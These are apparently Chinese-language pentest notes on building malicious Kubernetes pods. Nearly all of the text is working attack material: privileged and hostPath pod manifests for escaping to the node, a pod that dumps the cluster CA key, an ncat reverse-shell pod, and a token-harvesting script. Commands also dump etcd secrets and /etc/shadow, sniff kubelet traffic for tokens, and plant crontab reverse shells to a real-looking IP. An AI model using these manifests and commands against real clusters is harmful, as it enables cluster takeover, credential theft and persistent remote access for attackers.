7.k8s-恶意pod构建与利用

apiVersion: v1
kind: Pod
metadata:
  name: noderootpod
  labels:
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    effect: NoSchedule
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: noderootpod
    image: busybox
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: noderootdaemon
  labels:
spec:
  selector:
    matchLabels:
      name: noderootdaemon
  template:
    metadata:
      labels:
        name: noderootdaemon
    spec:
      tolerations:
      - key: node-role.kubernetes.io/master
        effect: NoSchedule
      hostNetwork: true
      hostPID: true
      hostIPC: true
      containers:
      - name: noderootpod
        image: busybox
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: noderoot
        command: [ "/bin/sh", "-c", "--" ]
        args: [ "while true; do sleep 30; done;" ]
      volumes:
      - name: noderoot
        hostPath:
          path: /

apiVersion: v1
kind: Pod
metadata:
  name: keydumper-pod
  labels:
    app: keydumper
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    effect: NoSchedule
  containers:
  - name: keydumper-pod
    image: busybox
    volumeMounts:
    - mountPath: /pki
      name: keyvolume
    command: ['cat', '/pki/ca.key']
  volumes:
  - name: keyvolume
    hostPath:
      path: /etc/kubernetes/pki
      type: Directory

apiVersion: v1
kind: Pod
metadata:
  name: ncat-reverse-shell-pod
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    effect: NoSchedule
  containers:
  - name: ncat-reverse-shell
    image: raesene/ncat
    volumeMounts:
    - mountPath: /host
      name: hostvolume
    args: ['[IP]', '8989', '-e', '/bin/bash']
  volumes:
  - name: hostvolume
    hostPath:
      path: /
      type: Directory

#everything-allowed-exec-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed-exec-pod
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: everything-allowed-pod
    image: ubuntu
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /

kubectl apply -f everything-allowed-exec-pod.yaml
kubectl get pods

kubectl exec -it everything-allowed-exec-pod -- /bin/bash

chroot /host

ip a |grep inet

cat /etc/kubernetes/kubelet.conf

curl -k https://demo-control-plane:6443/version

#在恶意pod中运行
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.23.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
kubectl version

kubectl --kubeconfig=/etc/kubernetes/kubelet.conf auth can-i --list

kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes

#everything-allowed-exec-pod-master.yaml
kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed-exec-pod-master
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  nodeName: demo-control-plane
  containers:
  - name: everything-allowed-pod-master
    image: ubuntu
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /
EOF

kubectl get pods

kubectl get pods -owide | grep everything-allowed-exec-pod-master

kubectl exec -it everything-allowed-exec-pod-master -- /bin/bash
chroot /host

#下载 kubectl，
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.23.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
kubectl version
#查看配置目录，获取到高权限凭据，
ls /etc/kubernetes

#- 检查当前用户/服务账户在所有命名空间中的操作权限
kubectl --kubeconfig=/etc/kubernetes/admin.conf auth can-i --list
#查看集群中所有命名空间的 Secret 资源
kubectl --kubeconfig=/etc/kubernetes/admin.conf get secrets -A

#查看数据库的位置，
ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

db= strings /var/lib/etcd/member/snap/db ; for x in echo "$db" | grep eyJhbGciOiJ ; do name= echo "$db" | grep $x -B40 | grep registry ; echo $name \| $x; echo; done | grep kube-system

# 检查所有包含kubeconfig关键词的进程（用于发现可能暴露的kubeconfig相关进程）
ps -efw | grep kubeconfig

# 递归搜索/etc/目录下包含current-context的文件（查找可能存储的kubeconfig配置）
grep -R "current-context" /etc/

# 查找系统中所有.kube目录（kubectl默认配置存储位置）
find / -name .kube

# 查找系统中所有名为kubeconfig的文件（常见kubeconfig文件名）
find / -name kubeconfig

# 搜索/home目录下包含current-context的文件（检查用户目录中的kube配置）
grep -R "current-context" /home/

# 搜索/root目录下包含current-context的文件（检查root用户的kube配置）
grep -R "current-context" /root/
#......

curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.23.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
kubectl version

tee /can-they.sh << 'EOF'
#!/bin/bash
###############################################################################
# Purpose: 
# 
# This script will find the token/secret for each pod running on the node and 
# tell you what each token is authorized to do. It can be run from within a pod 
# that has the host's filesystem mounted to /host, or from outside the pod.
#
# Usage:
#
# *** For execution INSIDE a pod with the host's filesystem mounted to /host *** 
#
#        This mode is best for:
#            - everything-allowed       
#            - hostPath
#
# Copy the can-they.sh helper script to the pod, download it from github, or manually created it
#     kubectl cp scripts/can-they.sh podname:/
#
# Exec into pod (Don't chroot)
#     kubectl exec -it pod-name  -- bash
#
# Run can-they.sh
#    ./can-they.sh "-i --list"
#    ./can-they.sh "-i --list -n kube-system"
#    ./can-they.sh "-i --list -n default"
#    ./can-they.sh "-i list secrets -n kube-system"
#    ./can-they.sh "-i create pods -n kube-system"
#    ./can-they.sh "-i create clusterrolebindings"
#
#
# *** For execution OUTSIDE a pod ***
#
#        This mode is best for:
#            - priv-and-hostpid       
#
# Run can-they.sh
#    ./can-they.sh -n NAMESPACE -p POD_NAME -i "OPTIONS"
#    ./can-they.sh -n development -p priv-and-hostpid-exec-pod -i "list secrets -n kube-system"
#    ./can-they.sh -n development -p priv-and-hostpid-exec-pod -i "--list"
#    ./can-they.sh -n development -p priv-and-hostpid-exec-pod -i "-n kube-system"
#    ./can-they.sh -n development -p priv-and-hostpid-exec-pod -i "get secrets -n kube-system"
#
###############################################################################
function check-can-exec-pod {
check=$(kubectl auth can-i create pods/exec -n $namespace)
#echo $check
if [[ $check == "no" ]]; then
  echo "Are you sure you have access to exec into $pod in the $namespace namespace?"
  exit 1
fi
}

function run-outside-pod {
  # Get the filenames that contain tokens from the mounted host directory
  tokens=`kubectl exec -it $pod -n $namespace -- find /host/var/lib/kubelet/pods/ -name token -type l 2>/dev/null`

  # Backup plan in case you are chrooted or running on host
  if [ $? -eq 1 ]; then
    tokens=`kubectl exec -it $pod -n $namespace -- find /var/lib/kubelet/pods/ -name token -type l`
  fi
  #tokens=`kubectl exec -it $pod -n $namespace -- find /var/lib/kubelet/pods/ -name token -type l`
  for filename in $tokens; do
    filename_clean=`echo $filename | tr -dc '[[:print:]]'`
    echo "--------------------------------------------------------"
    echo "Token Location: $filename_clean"
    tokena=`kubectl exec -it $pod -n $namespace -- cat $filename_clean`
    echo -n "Can I $user_input? "
    SERVER=`kubectl config view --minify --flatten -ojsonpath='{.clusters[].cluster.server}'`
    export KUBECONFIG="dummy"
    #echo "kubectl --server=$SERVER --insecure-skip-tls-verify --token=$tokena auth can-i $user_input"
    echo
    kubectl --server=$SERVER --insecure-skip-tls-verify --token=$tokena auth can-i $user_input 2> /dev/null; echo; \
    unset KUBECONFIG
  done
}

function am-i-inside-pod-check {
echo $KUBERNETES_SERVICE_HOST
if [[ -z $KUBERNETES_SERVICE_HOST ]]; then
  echo "It does not appear you are in a Kubernetes pod?"
  echo
  usage
fi
}

function run-inside-pod {
  if [ ! -f  "/usr/local/bin/kubectl" ]; then
    apt update && apt -y install curl
    #Download and install kubectl into pod
    curl -LO "https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl"
    chmod +x ./kubectl
    mv ./kubectl /usr/local/bin/kubectl
  fi

  # Get the filenames that contain tokens from the mounted host directory
  tokens=`find /host/var/lib/kubelet/pods/ -name token -type l`
  # Backup plan in case you are chrooted or running on host
  if [ $? -eq 1 ]; then
    tokens=`find /var/lib/kubelet/pods/ -name token -type l`
  fi
  #For each token, print the token location and run `kubectl auth can-i list` using each token via the `--token` command line argument.
  for filename in $tokens; do
    filename_clean=`echo $filename | tr -dc '[[:print:]]'`
    echo "--------------------------------------------------------"
    echo "Token Location: $filename_clean"
    tokena=`cat $filename_clean`
    echo -n "Can I $user_input? "
    kubectl --token=$tokena auth can-i $user_input
    echo
  done
}

function usage {
  echo "Usage: "
  echo
  echo "  [From outside a pod]: $0 -p podname -n namespace [-i \"VERB [TYPE] [options]\"]"
  echo "  [From inside a pod]:  $0 [-i \"VERB [TYPE] [options]\"]"
  echo
  echo "Options: "
  echo
  printf "  -p\tPod Name\n"
  printf "  -n\tNamespace\n"
  printf "  -i\tArugments that you would normally pass to kubectl auth can-i []\n"
  echo
  exit 1
}

while getopts n:p:i: flag
do
    case "${flag}" in
        n) namespace=${OPTARG};;
        p) pod=${OPTARG};;
        i) user_input=${OPTARG};;
        *) usage;;
    esac
done

if [[ -z "$user_input" ]]; then
  user_input="--list"
fi



if [[ "$namespace" ]] && [[ "$pod" ]]; then
  #echo "outside"
  check-can-exec-pod
  run-outside-pod

elif  [[ -z "$namespace" ]] && [[ -z "$pod" ]]; then
  #echo "inside"
  am-i-inside-pod-check
  run-inside-pod
else
  echo "If running this script from outside a pod, you need to specify both the pod name and the namespace"
  usage
fi
EOF

#脚本其他用法
./can-they.sh -i "--list -n kube-system"
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"
./can-they.sh -i "create pods -n kube-system"
./can-they.sh -i "create clusterrolebindings"

tokens= find /host/var/lib/kubelet/pods/ -name token -type l ; for token in $tokens; do parent_dir="$(dirname "$token")"; namespace= cat $parent_dir/namespace ; echo $namespace "|" $token ; done | sort

cat /host/etc/shadow

kubectl get pods -A -owide |grep worker
kubectl get pods everything-allowed-exec-pod -o jsonpath='{.metadata.uid}'

cat /var/lib/kubelet/pods/fd66a5a4-8bd5-48d3-96bb-8b4934918358/volumes/kubernetes.io~projected/kube-api-access-9td86/token

find /var/lib/kubelet/pods/ -name "config" 匹配文件名
grep -r -n "config" /var/lib/kubelet/pods/ 匹配文件内容

#priv-and-hostpid-exec-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: priv-and-hostpid-exec-pod
  labels:
    app: pentest
spec:
  hostPID: true
  containers:
  - name: priv-and-hostpid-pod
    image: ubuntu
    tty: true
    securityContext:
      privileged: true
    command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]

kubectl apply -f priv-and-hostpid-exec-pod.yaml
kubectl get pods

kubectl exec -it priv-and-hostpid-exec-pod -- /bin/bash

#priv-exec-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: priv-exec-pod
  labels:
    app: pentest
spec:
  containers:
  - name: priv-pod
    image: ubuntu
    securityContext:
      privileged: true
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]

kubectl apply -f priv-exec-pod.yaml
kubectl get pods

kubectl exec -it priv-exec-pod -- /bin/bash

mkdir /host
mount /dev/sda2 /host/

#写入宿主机计划任务弹shell，
echo "* * * * * root sh -i >& /dev/tcp/124.71.111.64/1122 0>&1" >> /etc/crontab

sh -i >& /dev/tcp/124.71.111.64/1122 0>&1

apiVersion: v1
kind: Pod
metadata:
  name: hostpath-exec-pod
  labels:
    app: pentest
spec:
  containers:
  - name: hostpath-exec-pod
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /

kubectl apply -f hostpath-exec-pod.yaml
kubectl get pods

kubectl exec -it hostpath-exec-pod -- /bin/bash

echo "* * * * * root /busybox nc ip 9001 -e sh" >> /etc/cron.d/e2scrub_all

apiVersion: v1
kind: Pod
metadata:
  name: hostpid-exec-pod
  labels:
    app: pentest
spec:
  hostPID: true
  containers:
  - name: hostpid-pod
    image: ubuntu
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]

kubectl apply -f hostpid-exec-pod.yaml
kubectl get pods
kubectl exec -it hostpid-exec-pod -- /bin/bash

for e in ls /proc/*/environ ; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt

ps auxn | awk '{print $1}' | sort | uniq -c | sort -rn

kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: hostpid-exec-pod-65535
  labels:
    app: pentest
spec:
  securityContext:
    runAsUser: 65535  # 使用非root用户(nobody)
    runAsGroup: 65535 # 使用非root组(nogroup)
  hostPID: true
  containers:
  - name: hostpid-pod-65535
    image: ubuntu
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
EOF

kubectl exec -it pod/hostpid-exec-pod-65535 -- /bin/bash
for e in ls /proc/*/environ ; do echo; echo $e; xargs -0 -L1 -a $e; done

for fd in find /proc/*/fd ; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt

cat /proc/self/fd/2

apiVersion: v1
kind: Pod
metadata:
  name: hostnetwork-exec-pod
  labels:
    app: pentest
spec:
  hostNetwork: true
  containers:
  - name: hostnetwork-pod
    image: ubuntu
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]

kubectl apply -f hostnetwork-exec-pod.yaml
kubectl get pods
kubectl exec -it hostnetwork-exec-pod -- /bin/bash
hostname -I

curl https://localhost:1234/metrics

base64 -d busybox_WGET_base64 > busybox_WGET
chmod +x busybox_WGET
#利用 busybox_WGET 下载主程序 busybox ，
./busybox_WGET http://ip/busybox
./busybox wget https://localhost:1234/metrics

apt update && apt -y install tcpdump net-tools netcat

./busybox netstat -atunp

nc -zv 172.19.0.3 10250

tcpdump -ni eth0 -s0 -w kubelet-ro.cap port 10250

tcpdump -r kubelet-ro.cap -s0 -A
tcpdump -r kubelet-ro.cap -s0 -A | grep token

apiVersion: v1
kind: Pod
metadata:
  name: hostipc-exec-pod
  labels:
    app: pentest
spec:
  hostIPC: true
  containers:
  - name: hostipc-pod
    image: ubuntu
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]

kubectl apply -f hostipc-exec-pod.yaml
kubectl get pods
kubectl exec -it hostipc-exec-pod -- /bin/bash

ls -al /dev/shm/

ipcs -a

apiVersion: v1
kind: Pod
metadata:
  name: nothing-allowed-exec-pod
  labels:
    app: pentest
spec:
  containers:
  - name: nothing-allowed-pod
    image: ubuntu
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]

kubectl apply -f nothing-allowed-exec-pod.yaml
kubectl get pods
kubectl exec -it nothing-allowed-exec-pod -- /bin/bash

cat /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list